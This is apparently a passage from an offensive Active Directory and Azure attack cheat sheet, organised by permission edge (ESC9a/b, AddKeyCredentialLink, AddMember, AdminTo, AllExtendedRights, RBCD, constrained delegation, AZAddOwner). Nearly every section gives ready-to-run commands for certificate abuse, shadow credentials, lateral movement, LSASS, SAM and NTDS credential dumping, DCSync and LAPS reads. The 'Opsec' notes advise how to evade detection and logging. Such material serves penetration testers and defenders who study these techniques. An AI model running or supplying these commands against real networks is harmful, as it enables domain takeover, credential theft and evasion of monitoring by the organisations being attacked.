Certify.exe coerceauth /ca:<ca-host>\<ca> /target:<attacker-ip>
# Or: SpoolSample.exe <victim-host> <attacker-ip>
Requirements Checklist
- [ ] AD CS web enrollment enabled (
/certsrv/responding on HTTP/HTTPS) - [ ] HTTPS NOT required for enrollment (HTTP accepted) β check if HTTPS is enforced; if so, relay needs HTTPS support
- [ ] Target machine can be coerced (SpoolSvc running, or PetitPotam applicable)
- [ ] Template allows machine/computer enrollment (e.g., Machine, DomainController)
Opsec
- HTTP enrollment events logged on the CA (IIS logs + CA audit log).
- Coercion attempts generate Event ID 4624 (logon) on the coerced machine.
- PetitPotam may trigger IDS signatures β use less-signatured coercion methods (DFSCoerce, PrinterBug) where possible.
- The issued cert appears in CA's Issued Certificates store attributed to the relayed machine identity.
ADCSESC9a
ESC9a: No security extension (CT_FLAG_NO_SECURITY_EXTENSION) on template + GenericWrite on a user account β change the victim's UPN to match a target user, enroll a cert as the victim, reset UPN, then authenticate as the target.
Applies to: Principals with GenericWrite (or WriteSPN/AddKeyCredentialLink/ForceChangePassword) on a user account β vulnerable template (no szOID_NTDS_CA_SECURITY_EXT) β Enterprise CA
Linux Abuse
certipy-ad
# Step 1: Find vulnerable templates
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout
# Step 2: Save victim's current UPN (for restore)
# Check with: ldapsearch or BloodHound
# Step 3: Change victim's UPN to target user's UPN
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-user <victim-user> -upn <target-user>@<domain>
# Step 4: Get credentials for victim account
# Option A β Shadow Credentials (if AddKeyCredentialLink on victim)
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-account <victim-user>
# Outputs victim hash/TGT
# Option B β Force password reset (if ForceChangePassword)
net rpc password '<victim-user>' '<new-password>' -U '<domain>/<username>%<password>' -S <dc-ip>
# Step 5: Enroll cert as victim (UPN now points to target)
certipy-ad req -u <victim-user>@<domain> -p '<victim-password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>'
# Or use victim hash: -hashes ':<victim-ntlm>'
# Step 6: Restore victim's UPN (critical β prevents lockout detection)
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-user <victim-user> -upn <victim-user>@<domain>
# Step 7: Authenticate as target
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>
# Step 8: PTH
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<target-user>@<dc-ip>'
Set mail attribute if template requires it
echo -e "dn: <victim-dn>\nchangetype: modify\nreplace: mail\nmail: dummy@mail.com" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
Windows Abuse
PowerView + Certify.exe + Rubeus
# Step 1: Save victim's current UPN
Get-DomainObject -Identity <victim-user> -Properties userprincipalname
# Step 2: Change victim UPN to target
Set-DomainObject -Identity <victim-user> -Set @{'userprincipalname'='<target-user>@<domain>'}
# Step 3: Set mail attribute if needed
Set-DomainObject -Identity <victim-user> -Set @{'mail'='dummy@mail.com'}
# Step 4: Get victim session (shadow creds / password reset / kerberoast)
# Shadow creds example:
Whisker.exe add /target:<victim-user>
Rubeus.exe asktgt /user:<victim-user> /certificate:<pfx-base64> /domain:<domain> /ptt
# Step 5: Enroll cert as victim
Certify.exe request /ca:<ca-host>\<ca> /template:<template>
# Step 6: Restore victim UPN
Set-DomainObject -Identity <victim-user> -Set @{'userprincipalname'='<victim-user>@<domain>'}
# Step 7: TGT as target
Rubeus.exe asktgt /user:<target-user> /domain:<domain> /certificate:<pfx-base64> /ptt
Opsec
- UPN change is logged in AD (Directory Service Changes, Event ID 4738 β user account changed).
- Restore the UPN immediately after enrollment to minimize detection window.
- CA retains the issued cert; requesting principal (victim account) and subject (target UPN) are both visible.
ADCSESC9b
ESC9b: No security extension on template + GenericWrite on a computer account β strip conflicting SPNs, change victim computer's dNSHostName to match a target computer, enroll a cert, restore dNSHostName, then authenticate as the target computer.
Applies to: Principals with GenericWrite on a computer account β vulnerable template (no szOID_NTDS_CA_SECURITY_EXT, machine auth) β Enterprise CA
Linux Abuse
certipy-ad
# Step 1: Find vulnerable templates
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout
# Step 2: Remove conflicting SPNs from victim computer
# Check current SPNs:
ldapsearch -x -D '<attacker-dn>' -w '<password>' -h <dc-ip> \
-b '<victim-computer-dn>' servicePrincipalName
# Delete SPN(s) that conflict with target hostname:
echo -e "dn: <victim-computer-dn>\nchangetype: modify\ndelete: servicePrincipalName\nservicePrincipalName: HOST/<victim-computer>" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
# Step 3: Change victim computer's dNSHostName to target computer's FQDN
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-user '<victim-computer>$' -dns <target-computer>.<domain>
# Step 4: Set mail attribute if required by template
echo -e "dn: <victim-computer-dn>\nchangetype: modify\nreplace: mail\nmail: dummy@mail.com" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
# Step 5: Get credentials for victim computer account
# Shadow creds (if AddKeyCredentialLink):
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-account '<victim-computer>$'
# Step 6: Enroll cert as victim computer (dNSHostName now = target)
certipy-ad req -u '<victim-computer>$@<domain>' -hashes ':<victim-ntlm>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>'
# Output: <target-computer>.pfx
# Step 7: Restore victim dNSHostName (critical)
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-user '<victim-computer>$' -dns <victim-computer>.<domain>
# Step 8: Authenticate as target computer
certipy-ad auth -pfx <target-computer>.pfx -dc-ip <dc-ip>
# Step 9: Use machine hash for lateral movement / DCSync if DC
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<target-computer>$@<dc-ip>'
Windows Abuse
PowerView + Certify.exe + Rubeus
# Step 1: Remove conflicting SPNs
Set-DomainObject -Identity '<victim-computer>$' -Set @{'serviceprincipalname'='HOST/<victim-computer>'}
# Step 2: Change dNSHostName to target
Set-DomainObject -Identity '<victim-computer>$' -Set @{'dnshostname'='<target-computer>.<domain>'}
# Step 3: Set mail if required
Set-DomainObject -Identity '<victim-computer>$' -Set @{'mail'='dummy@mail.com'}
# Step 4: Get victim computer session (shadow creds / other)
Whisker.exe add /target:'<victim-computer>$'
Rubeus.exe asktgt /user:'<victim-computer>$' /certificate:<pfx-base64> /domain:<domain> /ptt
# Step 5: Enroll cert as victim computer
Certify.exe request /ca:<ca-host>\<ca> /template:<template> /machine
# Step 6: Restore dNSHostName
Set-DomainObject -Identity '<victim-computer>$' -Set @{'dnshostname'='<victim-computer>.<domain>'}
# Step 7: TGT as target computer
Rubeus.exe asktgt /user:'<target-computer>$' /domain:<domain> /certificate:<pfx-base64> /ptt
Opsec
- SPN deletion and dNSHostName change are logged (Event ID 4742 β computer account changed).
- Restore dNSHostName and re-add SPNs immediately after enrollment.
- CA retains issued cert; the requesting computer account and the spoofed dNSHostName are both visible.
AddKeyCredentialLink
Source can write to the msDS-KeyCredentialLink attribute on the target, enabling Shadow Credentials (PKINIT-based auth to obtain NT hash without knowing the password)
Applies to: User/Computer β User, Computer
Requires: Domain functional level 2016+, ADCS with a KDC certificate (or Windows Hello for Business configured), or a DC supporting PKINIT
Linux Abuse
certipy-ad β full auto chain (write key, get TGT, extract NT hash)
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -account <target-user> -dc-ip <dc-ip>
# Outputs: <target-user>.pfx + NT hash
certipy-ad β manual step-by-step
Step 1: Add key credential
certipy-ad shadow add -u <username>@<domain> -p '<password>' -account <target-user> -dc-ip <dc-ip>
# Outputs: device ID and saved <target-user>.pfx
Step 2: Authenticate with certificate β get TGT + NT hash
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>
# Outputs: TGT (.ccache) + NT hash
Step 3: Use NT hash
# Pass-the-hash
secretsdump.py -hashes :<ntlm-hash> '<domain>/<target-user>@<dc-ip>'
# Or get TGT
getTGT.py '<domain>/<target-user>' -hashes :<ntlm-hash> -dc-ip <dc-ip>
Cleanup (remove the key credential)
certipy-ad shadow clear -u <username>@<domain> -p '<password>' -account <target-user> -dc-ip <dc-ip> -device-id <device-id>
Target: Computer β shadow credentials for RBCD chain
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -account <target-computer$> -dc-ip <dc-ip>
# NT hash of computer account β use for S4U2Self if computer has no TrustedForDelegation
# Or directly PTH as computer account for secretsdump
pywhisker (alternative to certipy for key cred write)
python3 pywhisker.py -d <domain> -u <username> -p '<password>' --target <target-user> --action add --dc-ip <dc-ip>
# Then use gettgtpkinit.py + getnthash.py from PKINITtools
python3 gettgtpkinit.py -cert-pfx <target-user>.pfx -pfx-pass <pfx-pass> <domain>/<target-user> <target-user>.ccache
export KRB5CCNAME=<target-user>.ccache
python3 getnthash.py -key <session-key> <domain>/<target-user>
Windows Abuse
Whisker β add shadow credential
Whisker.exe add /target:<target-user> /domain:<domain> /dc:<dc-ip>
# Whisker outputs the full Rubeus command to use
Rubeus β request TGT with certificate (output from Whisker)
Rubeus.exe asktgt /user:<target-user> /certificate:<base64-pfx> /password:<pfx-pass> /domain:<domain> /dc:<dc-ip> /getcredentials /nowrap
Whisker β list existing keys on target
Whisker.exe list /target:<target-user> /domain:<domain> /dc:<dc-ip>
Whisker β cleanup
Whisker.exe remove /target:<target-user> /domain:<domain> /dc:<dc-ip> /deviceid:<device-id>
Opsec
- Writing msDS-KeyCredentialLink is an LDAP modify (event 4662 with GUID tracking if object-level audit is on); less noisy than password resets
- The key persists on the account until removed β clean up after use to avoid detection artifacts
AddMember
Source can add any principal to the target group
Applies to: User/Group/Computer β Group
Linux Abuse
bloodyAD β add user to group
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> \
add groupMember '<target-group>' '<username>'
bloodyAD β add with hash
bloodyad -u <username> --hashes :<ntlm-hash> -d <domain> --host <dc-ip> \
add groupMember '<target-group>' '<username>'
bloodyAD β add arbitrary user to group
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> \
add groupMember '<target-group>' '<target-user>'
net rpc (impacket)
net rpc group addmem '<target-group>' '<username>' -U <domain>/<username>%'<password>' -S <dc-ip>
ldapmodify
ldapmodify -H ldap://<dc-ip> -D '<username>@<domain>' -w '<password>' <<EOF
dn: CN=<target-group>,CN=Users,DC=<domain>,DC=<tld>
changetype: modify
add: member
member: CN=<username>,CN=Users,DC=<domain>,DC=<tld>
EOF
Windows Abuse
PowerView
Add-DomainGroupMember -Identity '<target-group>' -Members '<username>' -Credential $cred
Verify membership
Get-DomainGroupMember -Identity '<target-group>' -Recurse | Where-Object {$_.MemberName -eq '<username>'}
CMD / net.exe
net group "<target-group>" <username> /add /domain
AD Module
Add-ADGroupMember -Identity '<target-group>' -Members '<username>'
Cleanup
Remove-DomainGroupMember -Identity '<target-group>' -Members '<username>' -Credential $cred
Opsec
- Group membership changes generate event 4728 (security group member added) on the DC β monitored on privileged groups (Domain Admins, etc.)
- Prefer adding a less-visible user or computer account; if adding self, move fast and remove after use
AddSelf
Source can add itself to the target group (Self-Membership extended right)
Applies to: User β Group
Linux Abuse
bloodyAD β add self to group
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> \
add groupMember '<target-group>' '<username>'
bloodyAD β add self with hash
bloodyad -u <username> --hashes :<ntlm-hash> -d <domain> --host <dc-ip> \
add groupMember '<target-group>' '<username>'
ldapmodify (self-membership)
ldapmodify -H ldap://<dc-ip> -D '<username>@<domain>' -w '<password>' <<EOF
dn: CN=<target-group>,CN=Users,DC=<domain>,DC=<tld>
changetype: modify
add: member
member: CN=<username>,CN=Users,DC=<domain>,DC=<tld>
EOF
Windows Abuse
PowerView
Add-DomainGroupMember -Identity '<target-group>' -Members '<username>' -Credential $cred
CMD / net.exe
net group "<target-group>" <username> /add /domain
AD Module
Add-ADGroupMember -Identity '<target-group>' -Members '<username>'
Verify
Get-DomainGroupMember -Identity '<target-group>' | Where-Object {$_.MemberName -eq '<username>'}
Cleanup (remove self after done)
Remove-DomainGroupMember -Identity '<target-group>' -Members '<username>' -Credential $cred
Opsec
- Self-membership writes generate event 4728 on DC
- Functionally identical to AddMember but source can only add itself β less powerful than AddMember but same detection footprint
AdminTo
Source principal has local administrator privileges on the target computer.
Applies to: User/Group/Computer β Computer
Linux Abuse
NetExec / CrackMapExec β execution
# Command execution
netexec smb <target-computer> -u <username> -p '<password>' -d <domain> -x 'whoami'
# Pass-the-Hash
netexec smb <target-computer> -u <username> -H '<ntlm-hash>' -d <domain> -x 'whoami'
# Check admin access across subnet
netexec smb <target-subnet>/24 -u <username> -p '<password>' -d <domain> --local-auth
impacket β wmiexec (semi-interactive shell)
wmiexec.py '<domain>/<username>:<password>@<target-computer>'
wmiexec.py -hashes ':<ntlm-hash>' '<domain>/<username>@<target-computer>'
wmiexec.py -k -no-pass '<domain>/<username>@<target-computer>'
impacket β psexec (SYSTEM shell, noisy)
psexec.py '<domain>/<username>:<password>@<target-computer>'
psexec.py -hashes ':<ntlm-hash>' '<domain>/<username>@<target-computer>'
impacket β smbexec
smbexec.py '<domain>/<username>:<password>@<target-computer>'
smbexec.py -hashes ':<ntlm-hash>' '<domain>/<username>@<target-computer>'
impacket β atexec (task scheduler)
atexec.py '<domain>/<username>:<password>@<target-computer>' 'whoami'
atexec.py -hashes ':<ntlm-hash>' '<domain>/<username>@<target-computer>' 'whoami'
evil-winrm (WinRM, port 5985)
evil-winrm -i <target-computer> -u <username> -p '<password>'
evil-winrm -i <target-computer> -u <username> -H '<ntlm-hash>'
Credential dumping via secretsdump
# Dump SAM + LSA + cached creds
secretsdump.py '<domain>/<username>:<password>@<target-computer>'
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<username>@<target-computer>'
# Dump NTDS.dit remotely (if DC)
secretsdump.py '<domain>/<username>:<password>@<target-computer>' -just-dc-ntlm
LSASS dump via NetExec
netexec smb <target-computer> -u <username> -p '<password>' -d <domain> -M lsassy
netexec smb <target-computer> -u <username> -p '<password>' -d <domain> -M nanodump
Windows Abuse
PsExec (SYSTEM shell)
.\PsExec.exe \\<target-computer> -u <domain>\<username> -p <password> cmd.exe
WMI execution
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'cmd.exe /c whoami > C:\out.txt' -ComputerName <target-computer>
PowerShell Remoting
$cred = Get-Credential
Enter-PSSession -ComputerName <target-computer> -Credential $cred
Invoke-Command -ComputerName <target-computer> -Credential $cred -ScriptBlock { whoami }
Mimikatz β credential dump (run on target with admin)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
mimikatz # lsadump::sam
RDP
mstsc /v:<target-computer>
# Add user to RDP group if needed:
net localgroup "Remote Desktop Users" <domain>\<username> /add
Scheduled task lateral movement
schtasks /create /s <target-computer> /u <domain>\<username> /p '<password>' /tn "Task" /tr "cmd.exe /c whoami > C:\out.txt" /sc once /st 00:00
schtasks /run /s <target-computer> /tn "Task"
Opsec
- PsExec creates a service (Event ID 4697/7045) β highly detectable
- WMI execution (Event ID 4688 with command line logging) β moderate detection
- WinRM (Event ID 4624 type 3) β lower noise, preferred
- secretsdump triggers multiple SMB/DRSR calls; EDR products commonly flag LSASS access
- Use
-exec-method smbexecwith wmiexec for fileless execution
AllExtendedRights
Source has all extended rights on the target β includes User-Force-Change-Password, DS-Replication-Get-Changes, and ReadLAPSPassword depending on target type
Applies to: User/Group/Computer β User, Domain, Computer (LAPS)
Linux Abuse
Target: User β force password change (no old password needed)
# bloodyAD
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> set password <target-user> '<new-password>'
# net rpc
net rpc password <target-user> '<new-password>' -U <domain>/<username>%'<password>' -S <dc-ip>
Target: User β certificate enrollment abuse (if PKI in scope)
certipy-ad req -u <username>@<domain> -p '<password>' -ca '<ca-name>' -template User -dc-ip <dc-ip>
Target: Domain β DCSync (DS-Replication-Get-Changes + DS-Replication-Get-Changes-All)
secretsdump.py '<domain>/<username>:<password>' -dc-ip <dc-ip>
# Or with hash
secretsdump.py -hashes :<ntlm-hash> '<domain>/<username>' -dc-ip <dc-ip>
Target: Computer (LAPS enabled) β read LAPS password
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> get object '<target-computer$>' --attr ms-mcs-admpwd
# Or via ldapsearch
ldapsearch -x -H ldap://<dc-ip> -D '<username>@<domain>' -w '<password>' \
-b 'CN=<target-computer>,CN=Computers,DC=<domain>,DC=<tld>' \
'(objectclass=computer)' ms-mcs-admpwd
# Or via netexec
nxc ldap <dc-ip> -u <username> -p '<password>' --module laps
Target: Computer (LAPS v2 / Windows LAPS) β read msLAPS-Password
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> get object '<target-computer$>' --attr msLAPS-Password
Windows Abuse
Target: User β force password change
Set-DomainUserPassword -Identity <target-user> \
-AccountPassword (ConvertTo-SecureString '<new-password>' -AsPlainText -Force) -Credential $cred
CMD
net user <target-user> <new-password> /domain
Target: Domain β DCSync
mimikatz # lsadump::dcsync /domain:<domain> /user:Administrator
mimikatz # lsadump::dcsync /domain:<domain> /all /csv
Target: Computer β read LAPS (legacy)
Get-DomainComputer <target-computer> -Properties ms-mcs-admpwd | Select-Object -Expand ms-mcs-admpwd
Target: Computer β read LAPS v2
Get-DomainComputer <target-computer> -Properties msLAPS-Password | Select-Object -Expand msLAPS-Password
# Password is JSON-encoded β parse it
Rubeus (after getting LAPS cred β PTH to target)
Rubeus.exe asktgt /user:Administrator /rc4:<laps-ntlm-hash> /domain:<domain> /dc:<dc-ip> /nowrap
Opsec
- Force-password-change logged as event 4723/4724 on DC
- DCSync logged as 4662 (object access) β avoid running from a workstation, use from DC network range if possible
- LAPS reads are LDAP queries β not directly logged unless LDAP audit is enabled
AllowedToAct
Source principal is listed in the target computer's msDS-AllowedToActOnBehalfOfOtherIdentity attribute, meaning it can perform Resource-Based Constrained Delegation (RBCD) β impersonate any domain user to the target computer's services.
Applies to: User/Group/Computer β Computer
The source principal must have an SPN configured (or use the SPN-less U2U technique). Target user must not be in Protected Users or marked sensitive.
Linux Abuse
Step 1: Obtain service ticket impersonating target user (source principal already has RBCD rights)
# Source principal is a computer account with known password
getST.py -spn 'cifs/<target-computer>.<domain>' -impersonate Administrator \
-dc-ip <dc-ip> '<domain>/<source-computer>$:<source-password>'
# Source principal via Pass-the-Hash
getST.py -spn 'cifs/<target-computer>.<domain>' -impersonate Administrator \
-dc-ip <dc-ip> -hashes ':<ntlm-hash>' '<domain>/<source-computer>$'
# AES key
getST.py -spn 'cifs/<target-computer>.<domain>' -impersonate Administrator \
-dc-ip <dc-ip> -aesKey '<aes-key>' '<domain>/<source-computer>$'
Step 2: Use the ticket for access
export KRB5CCNAME=Administrator@cifs_<target-computer>.<domain>@<domain>.ccache
# Remote execution
wmiexec.py -k -no-pass '<domain>/Administrator@<target-computer>.<domain>'
smbexec.py -k -no-pass '<domain>/Administrator@<target-computer>.<domain>'
# Credential dump
secretsdump.py -k -no-pass '<domain>/Administrator@<target-computer>.<domain>'
# Shell
psexec.py -k -no-pass '<domain>/Administrator@<target-computer>.<domain>'
LDAP pivot β if target is DC (DCSync)
getST.py -spn 'ldap/<dc-hostname>.<domain>' -impersonate Administrator \
-dc-ip <dc-ip> '<domain>/<source-computer>$:<source-password>'
export KRB5CCNAME=Administrator@ldap_<dc-hostname>.<domain>@<domain>.ccache
secretsdump.py -k -no-pass '<domain>/Administrator@<dc-hostname>.<domain>' -just-dc-ntlm
SPN-less controlled account (U2U)
# Get TGT for controlled user (no SPN needed)
getTGT.py '<domain>/<controlled-user>:<password>'
# Extract ticket session key
describeTicket.py '<controlled-user>.ccache' | grep 'Ticket Session Key'
# Temporarily swap NT hash for session key
changepasswd.py -newhashes ':<session-key>' '<domain>/<controlled-user>:<password>@<dc-ip>'
# Full S4U2self+U2U+S4U2proxy
KRB5CCNAME='<controlled-user>.ccache' getST.py -u2u -impersonate Administrator \
-spn 'host/<target-computer>.<domain>' -k -no-pass '<domain>/<controlled-user>'
# Restore original password
changepasswd.py -hashes ':<session-key>' -newhashes ':<original-ntlm-hash>' \
'<domain>/<controlled-user>@<dc-ip>'
export KRB5CCNAME=Administrator@host_<target-computer>.<domain>@<domain>.ccache
wmiexec.py -k -no-pass '<domain>/Administrator@<target-computer>.<domain>'
Verify RBCD is already configured on target
rbcd.py -delegate-to '<target-computer>$' -dc-ip <dc-ip> -action read '<domain>/<username>:<password>'
Windows Abuse
Step 1: Hash the source principal's password
Rubeus.exe hash /password:<source-password>
Step 2: S4U2self + S4U2proxy
Rubeus.exe s4u /user:<source-computer>$ /rc4:<ntlm-hash> /impersonateuser:Administrator \
/msdsspn:cifs/<target-computer>.<domain> /ptt
# AES256 variant
Rubeus.exe s4u /user:<source-computer>$ /aes256:<aes-key> /impersonateuser:Administrator \
/msdsspn:cifs/<target-computer>.<domain> /ptt
Step 3: Access target
ls \\<target-computer>.<domain>\c$
Enter-PSSession -ComputerName <target-computer>.<domain>
PowerView β verify RBCD attribute
Get-DomainComputer <target-computer> -Properties msds-allowedtoactonbehalfofotheridentity
Cleanup
Set-DomainObject <target-computer> -Clear 'msds-allowedtoactonbehalfofotheridentity'
Opsec
- S4U chain generates Event ID 4769 on DC β two requests in quick succession (self + proxy)
- Prefer AES256 over RC4 to avoid downgrade detection (Event ID 4769 encryption type 0x17)
- Target user must not be in Protected Users group or flagged sensitive for delegation
- RBCD on a DC: use LDAP SPN for DCSync rather than CIFS for a lower footprint than psexec
- Cleanup msDS-AllowedToActOnBehalfOfOtherIdentity if you wrote it (WriteAccountRestrictions path)
AllowedToDelegate
Source principal has constrained delegation configured (msDS-AllowedToDelegateTo), allowing it to request service tickets on behalf of any user to specific SPNs β and via sname substitution, to any service on those hosts.
Applies to: User/Computer β Computer
Key: the sname field in the resulting S4U2proxy ticket is NOT Kerberos-protected, so you can substitute any service (e.g.,
cifs,host,ldap) regardless of what's in the AllowedToDelegateTo list.
Linux Abuse
With Protocol Transition (TrustedToAuthForDelegation flag set)
# Impersonate any user to the configured SPN
getST.py -spn '<spn>' -impersonate Administrator \
-dc-ip <dc-ip> '<domain>/<username>:<password>'
# Pass-the-Hash
getST.py -spn '<spn>' -impersonate Administrator \
-dc-ip <dc-ip> -hashes ':<ntlm-hash>' '<domain>/<username>'
# Pass-the-Ticket (AES key for better opsec)
getST.py -spn '<spn>' -impersonate Administrator \
-dc-ip <dc-ip> -aesKey '<aes-key>' '<domain>/<username>'
# Use the ticket
export KRB5CCNAME=Administrator@<spn>@<domain>.ccache
wmiexec.py -k -no-pass '<domain>/Administrator@<target-computer>.<domain>'
secretsdump.py -k -no-pass '<domain>/Administrator@<target-computer>.<domain>'
SPN substitution β pivot to alternate service on same host
# Configured SPN: HTTP/<target-computer> β substitute cifs for admin access
getST.py -spn 'cifs/<target-computer>.<domain>' -impersonate Administrator \
-dc-ip <dc-ip> '<domain>/<username>:<password>'
# Or request ldap for dcsync if target is DC
getST.py -spn 'ldap/<dc-hostname>.<domain>' -impersonate Administrator \
-dc-ip <dc-ip> '<domain>/<username>:<password>'
export KRB5CCNAME=Administrator@ldap_<dc-hostname>.<domain>@<domain>.ccache
secretsdump.py -k -no-pass '<domain>/Administrator@<dc-hostname>.<domain>'
Without Protocol Transition (no TrustedToAuthForDelegation)
# Step 1: Obtain forwardable TGS for serviceA to serviceB (need a ticket for serviceB first)
getST.py -spn 'cifs/<intermediate-host>' -impersonate administrator '<domain>/<serviceB-user>:<password>'
# Step 2: Use forwardable ticket as additional-ticket for S4U2proxy to target
getST.py -spn 'cifs/<target-computer>.<domain>' -impersonate administrator \
-additional-ticket 'administrator@cifs_<intermediate-host>@<domain>.ccache' \
'<domain>/<username>:<password>'
Windows Abuse
Rubeus β with protocol transition (TrustedToAuthForDelegation)
# RC4 hash
Rubeus.exe s4u /user:<username> /rc4:<ntlm-hash> /impersonateuser:Administrator \
/msdsspn:<spn> /ptt
# AES256 key (better opsec)
Rubeus.exe s4u /user:<username> /aes256:<aes-key> /impersonateuser:Administrator \
/msdsspn:<spn> /ptt
# SPN substitution (altservice)
Rubeus.exe s4u /user:<username> /rc4:<ntlm-hash> /impersonateuser:Administrator \
/msdsspn:'HTTP/<target-computer>.<domain>' /altservice:cifs /ptt
Rubeus β without protocol transition (need a ticket first)
# Get TGT for delegating account
Rubeus.exe asktgt /user:<username> /rc4:<ntlm-hash> /outfile:tgt.kirbi
# S4U2self to get user ticket (non-forwardable without TrustedToAuthForDelegation)
# Then S4U2proxy using a forwardable ticket from another account in the chain
Rubeus.exe s4u /ticket:tgt.kirbi /impersonateuser:Administrator \
/msdsspn:<spn> /ptt
After ptt β access target
ls \\<target-computer>.<domain>\c$
Enter-PSSession -ComputerName <target-computer>.<domain>
Enumerate delegation configuration
Get-DomainComputer -TrustedToAuth | Select-Object -Property samaccountname,msds-allowedtodelegateto
Get-DomainUser -TrustedToAuth | Select-Object -Property samaccountname,msds-allowedtodelegateto
Opsec
- S4U2self + S4U2proxy chain generates Event ID 4769 (Kerberos service ticket request) on DC
- SPN substitution (altservice) is the key bypass β the substituted sname is not in the ticket's protected portion
- AES256 keys reduce detection vs RC4 (RC4 triggers Event ID 4769 with 0x17 encryption type)
- Target user must not be in Protected Users group or have "Account is sensitive and cannot be delegated" set
- Kerberos traffic must flow between attacker system and DC β requires domain network access
AZAddMembers
The source principal can add any principal as a member of the target Entra ID group.
Applies to: User / ServicePrincipal / Group β AZGroup
Linux Abuse
Azure CLI
az login --service-principal -u <app-id> -p '<secret>' --tenant <tenant-id>
az ad group member add --group <target-group-id> --member-id <object-id>
Graph API (curl)
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
curl -s -X POST "https://graph.microsoft.com/v1.0/groups/<target-group-id>/members/\$ref" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/<object-id>\"}"
Windows Abuse
Microsoft.Graph PowerShell
Connect-MgGraph -AccessToken <access-token>
New-MgGroupMember -GroupId <target-group-id> -DirectoryObjectId <object-id>
AzureAD PowerShell (legacy)
Connect-AzureAD -AccountId <username> -AadAccessToken <access-token>
Add-AzureADGroupMember -ObjectId <target-group-id> -RefObjectId <object-id>
PowerZure
Add-AzureADGroup -User <target-user-upn> -Group '<group-display-name>'
Opsec
- Entra ID audit log records: actor, target group, added principal, date/time.
- Use a service principal rather than an interactive user to reduce alerting.
- Adding attacker-controlled SP to a privileged group (e.g. Global Admins) is high-signal; prefer adding to intermediate groups that inherit the target privilege.
AZAddOwner
The source principal can add any principal as an owner of the target Entra ID object (group, app, or service principal).
Applies to: User / ServicePrincipal β AZGroup / AZApplication / AZServicePrincipal
Linux Abuse
Graph API β add owner to group (curl)
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
curl -s -X POST "https://graph.microsoft.com/v1.0/groups/<target-group-id>/owners/\$ref" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/<object-id>\"}"
Graph API β add owner to app registration (curl)
curl -s -X POST "https://graph.microsoft.com/v1.0/applications/<object-id>/owners/\$ref" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/<object-id>\"}"
Graph API β add owner to service principal (curl)
curl -s -X POST "https://graph.microsoft.com/v1.0/servicePrincipals/<object-id>/owners/\$ref" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/<object-id>\"}"
Windows Abuse
BARK β add owner to Service Principal
$Token = Get-GraphTokenWithRefreshToken -RefreshToken '<refresh-token>' -TenantID '<tenant-id>'
New-ServicePrincipalOwner `
-ServicePrincipalObjectId "<object-id>" `
-NewOwnerObjectId "<object-id>" `
-Token $Token
BARK β add owner to App Registration
New-AppOwner `
-AppObjectId "<object-id>" `
-NewOwnerObjectId "<object-id>" `
-Token $Token
BARK β add owner to Group
New-GroupOwner `
-GroupObjectId "<target-group-id>" `
-NewOwnerObjectId "<object-id>" `
-Token $Token
Microsoft.Graph PowerShell
Connect-MgGraph -AccessToken <access-token>
# Group
New-MgGroupOwner -GroupId <target-group-id> -DirectoryObjectId <object-id>
# Application
New-MgApplicationOwner -ApplicationId <object-id> -DirectoryObjectId <object-id>
# Service Principal
New-MgServicePrincipalOwner -ServicePrincipalId <object-id> -DirectoryObjectId <object-id>
Opsec
- Entra ID audit logs record every ownership change: actor, target object, new owner, timestamp.
- Once owner, follow-up with AZOwns abuse (add secrets, add members, change app settings).
- Adding yourself as owner of an app registration lets you add client secrets and impersonate the SP.
AZContributor
The source principal has the Contributor role on the target Azure resource, enabling full resource management (read, write, delete) but not the ability to assign roles.
Applies to: User / ServicePrincipal β AZSubscription / AZResourceGroup / AZKeyVault / AZAutomationAccount / AZVM / AZResource
Linux Abuse
Key Vault β grant self access policy and dump secrets
az login --service-principal -u <app-id> -p '<secret>' --tenant <tenant-id>
